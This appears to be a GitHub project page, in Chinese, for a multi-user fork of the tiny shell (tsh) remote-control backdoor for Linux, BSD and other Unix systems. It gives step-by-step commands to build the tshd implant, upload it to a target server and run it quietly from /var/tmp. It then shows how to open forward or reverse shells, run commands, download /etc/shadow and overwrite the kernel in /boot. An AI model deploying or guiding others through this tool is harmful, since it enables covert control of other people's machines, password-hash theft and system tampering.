yukar1z0e / cloudswordtsh

多用户版linux/freebsd/openbsd/netbsd/cygwin/sunos/irix/hpux/osf的远控tiny shell

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

cloudsword-tsh

说明

tsh的多用户修改版。 基本使用方法与tsh相似,添加了多台机器区分上线的功能。

使用方式

修改tsh.h*secretSERVER_PORTCONNECT_BACK_HOST 正向连接时CONNECT_BACK_HOSTlocalhost 反向连接是CONNECT_BACK_HOST控制端服务器IP

1、执行make linux/freebsd/openbsd/netbsd/cygwin/sunos/irix/hpux/osf,生成linux/freebsd/openbsd/netbsd/cygwin/sunos/irix/hpux/osf版的tshd和tsh

2、tshd传至目标服务器,tsh为本机控制端

3、在目标服务器执行

umask 077; HOME=/var/tmp ./tshd

正向连接

1、开启shell

./tsh <目标服务器IP>

2、执行单条命令

./tsh <目标服务器IP> "uname -a"

3、上传/下载文件

./tsh <目标服务器IP> get /etc/shadow .
./tsh <目标服务器IP> put vmlinuz /boot

反向链接(多目标模式)

1、开启shell

./tsh bc-<目标服务器IP>

2、执行单条命令

./tsh bc-<目标服务器IP> "uname -a"

3、上传/下载文件

./tsh bc-<目标服务器IP> get /etc/shadow .
./tsh bc-<目标服务器IP> put vmlinuz /boot

About

多用户版linux/freebsd/openbsd/netbsd/cygwin/sunos/irix/hpux/osf的远控tiny shell


Languages

Language:C 97.0%Language:Makefile 1.7%Language:Shell 1.2%